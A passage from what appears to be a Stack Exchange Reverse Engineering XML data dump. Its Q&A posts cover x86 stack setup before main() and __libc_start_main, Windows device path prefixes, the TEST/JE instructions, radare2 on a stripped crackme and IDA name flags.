&lt;code&gt;4(%esp)&lt;/code&gt; = &lt;code&gt;$esp+4&lt;/code&gt; = &lt;code&gt;0xffffd140&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x/x $esp+4&#xA;0xffffd140: 0x01&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This means that the &lt;code&gt;lea&lt;/code&gt; instruction loads the effective address of &lt;code&gt;0x4(%esp)&lt;/code&gt;, &lt;code&gt;0xffffd140&lt;/code&gt;, into &lt;code&gt;$ecx&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;804841f: 83 e4 f0              and    $0xfffffff0,%esp&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Next, the value in &lt;code&gt;$esp&lt;/code&gt;, &lt;code&gt;0xffffd13c&lt;/code&gt;, is ANDed with &lt;code&gt;0xfffffff0&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xffffd13c:            11111111111111111101000100111100&#xA;0xfffffff0:       AND  11111111111111111111111111110000&#xA;                  -------------------------------------&#xA;                       11111111111111111101000100110000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This results in the value &lt;code&gt;0xffffd130&lt;/code&gt;, which is stored in &lt;code&gt;$esp&lt;/code&gt;. This is equivalent to &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;0xffffd13c&lt;/code&gt; - &lt;code&gt;0x0c&lt;/code&gt; = &lt;code&gt;0xffffd130&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This has the effect of creating 12 bytes of space on the process runtime stack. On a side note, the value -16 would be represented as &lt;code&gt;0xfffffff0&lt;/code&gt;, so we could think of &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;and $0xfffffff0,%esp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;as&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;and $-16,%esp&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is done to &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/14880/basic-reversing-question-about-local-variable/14883#14883&quot;&gt;keep the stack aligned to a 16-byte boundary&lt;/a&gt;, since the next instruction (see 3) decrements the stack pointer by 4 and then saves a value to the stack.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;ol start=&quot;3&quot;&gt;&#xA;&lt;li&gt;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;8048422: ff 71 fc              pushl  -0x4(%ecx)&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;As a result of &lt;code&gt;lea 0x4(%esp),%ecx&lt;/code&gt; from earlier, the value in &lt;code&gt;$ecx&lt;/code&gt; is equivalent to what had been &lt;code&gt;$esp+4&lt;/code&gt; (that is, &lt;code&gt;0xffffd140&lt;/code&gt;). As a result,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;-0x4(%ecx)&lt;/code&gt; = &lt;code&gt;0xffffd140&lt;/code&gt; - 4 = &lt;code&gt;0xffffd13c&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was the value of &lt;code&gt;$esp&lt;/code&gt; at the beginning of &lt;code&gt;main()&lt;/code&gt;. This value is now saved on the process runtime stack via a &lt;code&gt;pushl&lt;/code&gt; instruction. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;hr&gt;&#xA;&lt;strong&gt;summary:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; lea    0x4(%esp),%ecx         // load 0xffffd140 into $ecx&#xA; and    $0xfffffff0,%esp       // subtract 0x0c (decimal 12) from $esp&#xA; pushl  -0x4(%ecx)             // decrement $esp by 4, save 0xffffd13c on stack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;The Purpose of these Instructions&lt;/h2&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;What is the purpose of these instructions before the main preamble?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;A clue about the purpose of these instructions is the fact that they are executed prior to the conventional function prologue:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;8048425: 55                    push   %ebp&#xA;8048426: 89 e5                 mov    %esp,%ebp&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;http://refspecs.linux-foundation.org/elf/abi386-4.pdf&quot; rel=&quot;noreferrer&quot;&gt;System V Application Binary Interface Intel386 Architecture Processor Supplment, Fourth Edition&lt;/a&gt;, after the execution of the function prologue &lt;code&gt;$ebp+4&lt;/code&gt; is the location on the runtime stack of the return address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VRdaH.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VRdaH.png&quot; alt=&quot;SYS V ABI i386 supplement C stack frame&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The address saved on the stack at &lt;code&gt;$ebp+4&lt;/code&gt; by the instruction &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;8048422: ff 71 fc              pushl  -0x4(%ecx)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is &lt;code&gt;0xffffd13c&lt;/code&gt;. This is a pointer to &lt;code&gt;0xf7e12637&lt;/code&gt;, the address of offset 247 in &lt;code&gt;__libc_start_main()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x/x $ecx-4&#xA;0xffffd13c: 0xf7e12637&#xA;&amp;gt;&amp;gt;&amp;gt; x/x 0xf7e12637&#xA;0xf7e12637 &amp;lt;__libc_start_main+247&amp;gt;: 0x8310c483&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This indicates that the return address of &lt;code&gt;main()&lt;/code&gt; is in function &lt;code&gt;__libc_start_main()&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for &lt;code&gt;$ecx&lt;/code&gt;, this register simply holds the value of &lt;code&gt;argc&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; x/x $ecx&#xA;0xffffd140: 0x00000001&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note that since variable &lt;code&gt;a&lt;/code&gt; is never used, the compiler optimizes out the call to &lt;code&gt;atoi&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to answer the question directly, the instructions in &lt;code&gt;main()&lt;/code&gt; prior to the prologue pass an argument to &lt;code&gt;main()&lt;/code&gt; (the value of &lt;code&gt;argc&lt;/code&gt;) and save the return address of &lt;code&gt;main()&lt;/code&gt; on the runtime stack.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The C Runtime Environment and Linux Process Anatomy&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Naturally, the next question is &quot;What is &lt;code&gt;__libc_start_main&lt;/code&gt;?&quot; According to &lt;a href=&quot;http://refspecs.linuxbase.org/LSB_3.0.0/LSB-PDA/LSB-PDA/baselib---libc-start-main-.html&quot; rel=&quot;noreferrer&quot;&gt;Linux Standard Base PDA Specification 3.0RC1&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The &lt;code&gt;__libc_start_main()&lt;/code&gt; function shall initialize the process, call the main function with appropriate arguments, and handle the return from &lt;code&gt;main()&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So where does &lt;code&gt;__libc_start_main()&lt;/code&gt; come from? The short answer is that it is a function in the shared object &lt;code&gt;/lib/i386-linux-gnu/libc-2.23.so&lt;/code&gt; which is dynamically linked into the executable ELF binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $ ldd [binary_name]&#xA;    linux-gate.so.1 =&amp;gt;  (0xf7764000)&#xA;    libc.so.6 =&amp;gt; /lib/i386-linux-gnu/libc.so.6 (0xf7586000)&#xA;    /lib/ld-linux.so.2 (0x56640000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In addition to &lt;code&gt;__libc_start_main()&lt;/code&gt;, the function &lt;code&gt;__gmon_start__&lt;/code&gt;, also part of process initialization, is dynamically linked to the executable ELF binary as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf --dyn-syms [binary_name]&#xA;&#xA;Symbol table '.dynsym' contains 5 entries:&#xA;   Num:    Value  Size Type    Bind   Vis      Ndx Name&#xA;     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND &#xA;     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND __stack_chk_fail@GLIBC_2.4 (2)&#xA;     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__&#xA;     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (3)&#xA;     4: 0804851c     4 OBJECT  GLOBAL DEFAULT   16 _IO_stdin_used&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is the complete picture, from &lt;a href=&quot;http://dbp-consulting.com/tutorials/debugging/linuxProgramStartup.html&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Linux x86 Program Start Up or - How the heck do we get to main()?&lt;/strong&gt;&lt;/a&gt; by Patrick Horgan:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xKl8k.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xKl8k.png&quot; alt=&quot;C process initialization call graph&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On a final note, if the return address of &lt;code&gt;main()&lt;/code&gt; of &lt;code&gt;0xf7e12637&lt;/code&gt; is examined more closely, we see that this address lies outside of the &lt;code&gt;text&lt;/code&gt; segment as well as the runtime stack. This address, located in &lt;code&gt;__libc_start_main()&lt;/code&gt;, is actually located in the memory-mapped segment in virtual memory, as shown by this diagram from Gustavo Duarte's article &lt;a href=&quot;http://duartes.org/gustavo/blog/post/anatomy-of-a-program-in-memory/&quot; rel=&quot;noreferrer&quot;&gt;&lt;strong&gt;Anatomy of a Program in Memory&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LPwfZ.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LPwfZ.png&quot; alt=&quot;Linux Process Layout in VM&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="14622" LastEditDate="2018-08-04T08:39:34.570" LastActivityDate="2018-08-04T08:39:34.570" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15178" PostTypeId="2" ParentId="3798" CreationDate="2017-04-18T09:22:47.307" Score="14" Body="&lt;p&gt;I have been searching for an answer to this question for a while and I know this question is years old but on the off chance someone else comes across this question I will leave my response here. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The above answer is referring to non-canonicalized device paths where as you are asking about &lt;code&gt;\??\&lt;/code&gt; not &lt;code&gt;\\?\&lt;/code&gt; there may only be a small difference in the question but the answer is completely different.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;\??&lt;/code&gt; is a &quot;fake&quot; prefix which refers to per-user Dos devices, so here is an image that will hopefully help you understand what the process is: &lt;a href=&quot;https://i.stack.imgur.com/LOeeO.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LOeeO.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some definitions that may help you understand:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;\Device - Default location for kernel driver Device Objects &lt;/li&gt;&#xA;&lt;li&gt;\GLOBAL?? - System location for symbolic links to devices including drive letters&lt;/li&gt;&#xA;&lt;li&gt;\BaseNamedObjects - System location for named resources&lt;/li&gt;&#xA;&lt;li&gt;\Sessions\X - Directory for the login session X &lt;/li&gt;&#xA;&lt;li&gt;\Session\0\DosDevices -&#xA;Directory for the “Dos Devices” for each logged in  user.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="19900" LastActivityDate="2017-04-18T09:22:47.307" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15179" PostTypeId="2" ParentId="15167" CreationDate="2017-04-18T16:03:29.833" Score="2" Body="&lt;p&gt;(Disregarding the example in the question as it clearly has typos.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The higher bits of the shift amount are ignored, unless you're running your program on an original 8086: &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_285.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;See &quot;IA-32 Architecture Compatibility&quot; at the bottom of the page.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="18386" LastActivityDate="2017-04-18T16:03:29.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15181" PostTypeId="1" AcceptedAnswerId="18584" CreationDate="2017-04-18T16:29:32.927" Score="6" ViewCount="3390" Body="&lt;p&gt;I am struggling with a stripped binary, and I would like to visualize the &lt;code&gt;main()&lt;/code&gt; function with the &lt;code&gt;VVV&lt;/code&gt; command (ascii-art CFG representation).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usually, the steps are the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;#&amp;gt; r2 ./crackme&lt;/code&gt; (run radare2 on the crackme).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;[0x00005430]&amp;gt; aaa&lt;/code&gt; (start the analysis of the binary).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;s main&lt;/code&gt; (seek to the address of &lt;code&gt;main&lt;/code&gt;).&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;VVV&lt;/code&gt; (switch to the CFG view of the binary).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/XRY51.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/XRY51.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, my crackme is stripped (including the &lt;code&gt;main()&lt;/code&gt; function). I can see the address of the &lt;code&gt;main()&lt;/code&gt; function thanks to the first argument of the &lt;code&gt;__libc_start_main()&lt;/code&gt; function. But, I always end-up with the following error message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      Not in a function. Type 'df' to define it here&#xA;&#xA;--press any key--&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I work around this problem. For example, I first tried to add my own symbols on the binary to mark the start of the &lt;code&gt;main()&lt;/code&gt; function, but I miserably failed... Any idea ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my attempt to add a flag to the binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#&amp;gt; r2 ./ch23.bin &#xA;[0x000083b8]&amp;gt; aaa&#xA;[x] Analyze all flags starting with sym. and entry0 (aa)&#xA;[ ] &#xA;[aav: using from to 0x8000 0x8e64&#xA;Using vmin 0x8000 and vmax 0x10880&#xA;aav: using from to 0x8000 0x8e64&#xA;Using vmin 0x8000 and vmax 0x10880&#xA;[x] Analyze len bytes of instructions for references (aar)&#xA;[x] Analyze function calls (aac)&#xA;[ ] [*] Use -AA or aaaa to perform additional experimental analysis.&#xA;[x] Constructing a function name for fcn.* and sym.func.* functions (aan))&#xA;[0x000083b8]&amp;gt; pdf&#xA;            ;-- section_end..plt:&#xA;            ;-- section..text:&#xA;/ (fcn) entry0 44&#xA;|   entry0 ();&#xA;|           ; UNKNOWN XREF from 0x00008018 (unk)&#xA;|           ; UNKNOWN XREF from 0x00008c18 (unk)&#xA;|           0x000083b8      00b0a0e3       mov fp, 0                   ; [14] va=0x000083b8 pa=0x000003b8 sz=800 vsz=800 rwx=--r-x .text&#xA;|           0x000083bc      00e0a0e3       mov lr, 0&#xA;|           0x000083c0      04109de4       pop {r1}&#xA;|           0x000083c4      0d20a0e1       mov r2, sp&#xA;|           0x000083c8      04202de5       str r2, [sp, -4]!&#xA;|           0x000083cc      04002de5       str r0, [sp, -4]!&#xA;|           0x000083d0      10c09fe5       ldr ip, [0x000083e8]        ; [0x83e8:4]=0x8664&#xA;|           0x000083d4      04c02de5       str ip, [sp, -4]!&#xA;|           0x000083d8      0c009fe5       ldr r0, [0x000083ec]        ; [0x83ec:4]=0x8470&#xA;|           0x000083dc      0c309fe5       ldr r3, [0x000083f0]        ; [0x83f0:4]=0x8668&#xA;\           0x000083e0      e5ffffeb       bl sym.imp.__libc_start_main; int __libc_start_main(func main, int argc, char **ubp_av, func init, func fini, func rtld_fini, void *stack_end);&#xA;[0x000083b8]&amp;gt; f main @ 0x8470&#xA;[0x000083b8]&amp;gt; s main&#xA;[0x00008470]&amp;gt; VVV&#xA;... miserable fail ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="53" LastEditorUserId="53" LastEditDate="2017-04-18T18:00:02.033" LastActivityDate="2020-10-16T15:59:29.337" Title="How to add a function symbol to a stripped executable with radare2?" Tags="|disassembly|radare2|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15184" PostTypeId="1" AcceptedAnswerId="15185" CreationDate="2017-04-18T21:12:07.343" Score="14" ViewCount="58858" Body="&lt;p&gt;I'm having trouble understanding the TEST instruction and its use. I'm looking at the following code at the end of a loop&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0040A3D1   A9 00010181           TEST EAX,81010100&#xA;0040A3D6   74 E8                 JE SHORT JinKu_ke.0040A3C0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I understand how it works TEST AL,AL or TEXT EAX,EAX,but I do not know how it works with numbers Because the JE instruction does not jump when I use 0x810100FE and also even when we use 0x81010102, but when I use 0x60E0FEFC and below JE instruction jump. &lt;/p&gt;&#xA;" OwnerUserId="19373" LastActivityDate="2017-04-20T23:35:35.560" Title="What does the `TEST` instruction do" Tags="|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15185" PostTypeId="2" ParentId="15184" CreationDate="2017-04-18T23:22:24.140" Score="20" Body="&lt;h2&gt;1. TEST&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_315.html&quot; rel=&quot;noreferrer&quot;&gt;x86 Instruction Set Reference entry for TEST&lt;/a&gt; found at &lt;a href=&quot;http://x86.renejeschke.de/&quot; rel=&quot;noreferrer&quot;&gt;http://x86.renejeschke.de/&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/uHR2k.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/uHR2k.png&quot; alt=&quot;TEST&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[TEST] computes the bit-wise logical AND of first operand (source 1 operand) and the second operand (source 2 operand) and sets the SF, ZF, and PF status flags according to the result. The result is then discarded.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;More succinctly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;AND imm32 with EAX; set SF, ZF, PF according to result.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Even more succinctly:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;the AND instruction without storing the result&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So for &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;0040A3D1   A9 00010181           TEST EAX,81010100&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the value in &lt;code&gt;EAX&lt;/code&gt; and &lt;code&gt;81010100&lt;/code&gt; are ANDed together. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value in &lt;code&gt;EAX&lt;/code&gt; is &lt;code&gt;0x810100FE&lt;/code&gt;, the operation looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX:                    10000001000000010000000011111110&#xA;0x81010100:         AND 10000001000000010000000100000000&#xA;                    ------------------------------------&#xA;0x81010000:             10000001000000010000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result, &lt;code&gt;81010000&lt;/code&gt;, is not 0, so the zero flag is not set.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the value in &lt;code&gt;EAX&lt;/code&gt; is &lt;code&gt;0x60E0FEFC&lt;/code&gt; the operation looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EAX:                    01100000111000001111111011111100&#xA;0x81010100:         AND 10000001000000010000000100000000&#xA;                    ------------------------------------&#xA;                        00000000000000000000000000000000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here the result is 0, so the zero flag (ZF) is set to 1.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2. JE&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;According to the &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_146.html&quot; rel=&quot;noreferrer&quot;&gt; x86 Instruction Set Reference entry for JE&lt;/a&gt; found at &lt;a href=&quot;http://x86.renejeschke.de/&quot; rel=&quot;noreferrer&quot;&gt;http://x86.renejeschke.de/&lt;/a&gt;,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/ZG53X.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZG53X.png&quot; alt=&quot;JE&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;[JCC] checks the state of one or more of the status flags in the EFLAGS register (CF, OF, PF, SF, and ZF) and, if the flags are in the specified state (condition), performs a jump to the target instruction specified by the destination operand. A condition code (cc) is associated with each instruction to indicate the condition being tested for. If the condition is not satisfied, the jump is not performed and execution continues with the instruction following the Jcc instruction.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In the case of 'JE' specifically,&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Jump short if equal (ZF=1). &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;For the operation &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;code&gt;0040A3D1   A9 00010181           TEST EAX,81010100&lt;/code&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;if the value in &lt;code&gt;EAX&lt;/code&gt; is &lt;code&gt;0x81010102&lt;/code&gt;, the zero flag (ZF) does not get set (see above), so flow of control does not branch here.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;if the value in &lt;code&gt;EAX&lt;/code&gt; is &lt;code&gt;0x60E0FEFC&lt;/code&gt;, the zero flag (ZF) is set to 1 (see above). As a result, flow of control branches at this point (EIP jumps).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Summary&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;TEST&lt;/code&gt; is like &lt;code&gt;AND&lt;/code&gt;, but the results of the operation are not saved. Only the PF, SF and ZF flags are set.&lt;/li&gt;&#xA;&lt;li&gt;the zero flag (ZF) is set to 1 if the results of an arithmetic or logical operation (like &lt;code&gt;TEST&lt;/code&gt;) are 0.&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;JE&lt;/code&gt; causes &lt;code&gt;EIP&lt;/code&gt; to jump if ZF = 1.&lt;/li&gt;&#xA;&lt;li&gt;if the value in &lt;code&gt;EAX&lt;/code&gt; is &lt;code&gt;0x81010102&lt;/code&gt;, the zero flag (ZF) does not get set, so flow of control does not branch here.&lt;/li&gt;&#xA;&lt;li&gt;if the value in &lt;code&gt;EAX&lt;/code&gt; is &lt;code&gt;0x60E0FEFC&lt;/code&gt;, the zero flag (ZF) is set to 1. As a result, flow of control branches at this point (EIP jumps).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18317" LastEditorUserId="18317" LastEditDate="2017-04-19T03:04:31.203" LastActivityDate="2017-04-19T03:04:31.203" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15187" PostTypeId="1" CreationDate="2017-04-19T08:30:32.680" Score="3" ViewCount="534" Body="&lt;p&gt;IDA has the following function &lt;a href=&quot;https://github.com/idapython/src/blob/master/python/idc.py#L631&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;idc.MakeNameEx&lt;/code&gt;&lt;/a&gt; which accepts multiple &lt;code&gt;flags&lt;/code&gt; values that set properties about the given name (such as whether it's public, auto-generated, etc).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far all is good and well, but I would like to do the opposite - &lt;em&gt;get&lt;/em&gt; those flag values of a name. I'd like to test if a name is public, weak, auto, etc. but I cant seem to find a &lt;code&gt;idc.NameFlags&lt;/code&gt; method anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something or is this functionality unavailable?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2147" LastActivityDate="2017-04-19T08:30:32.680" Title="getting the flags of an IDA name" Tags="|ida|idapython|idapro-sdk|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15188" PostTypeId="2" ParentId="12054" CreationDate="2017-04-19T08:48:39.953" Score="5" Body="&lt;p&gt;At #SSTIC 2017, a french security conference, we will reveal a new solution :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.sstic.org/2017/presentation/YaCo/&quot; rel=&quot;noreferrer&quot;&gt;https://www.sstic.org/2017/presentation/YaCo/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Last commit (in our private repo as of now...) was 5 minutes ago :-)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The YaCo plugin will be released along with its sources by the time of the talk.&lt;/p&gt;&#xA;" OwnerUserId="19908" LastEditorUserId="19908" LastEditDate="2017-04-20T12:58:41.900" LastActivityDate="2017-04-20T12:58:41.900" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15190" PostTypeId="1" AcceptedAnswerId="15191" CreationDate="2017-04-20T14:06:56.590" Score="1" ViewCount="344" Body="&lt;p&gt;So im wondering how i can retrieve the adress of the definition instead of the adress of the declaration via dereferencing the startaddress of a c++ function.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To be more concrete:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My function to retrieve the address of the function:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/CeD7A.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/CeD7A.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have this function i want to hook:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/mc2Mf.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/mc2Mf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So to retrieve the address of &lt;code&gt;whereHookGoes&lt;/code&gt; i did :&#xA;&lt;a href=&quot;https://i.stack.imgur.com/4fj7M.png&quot; 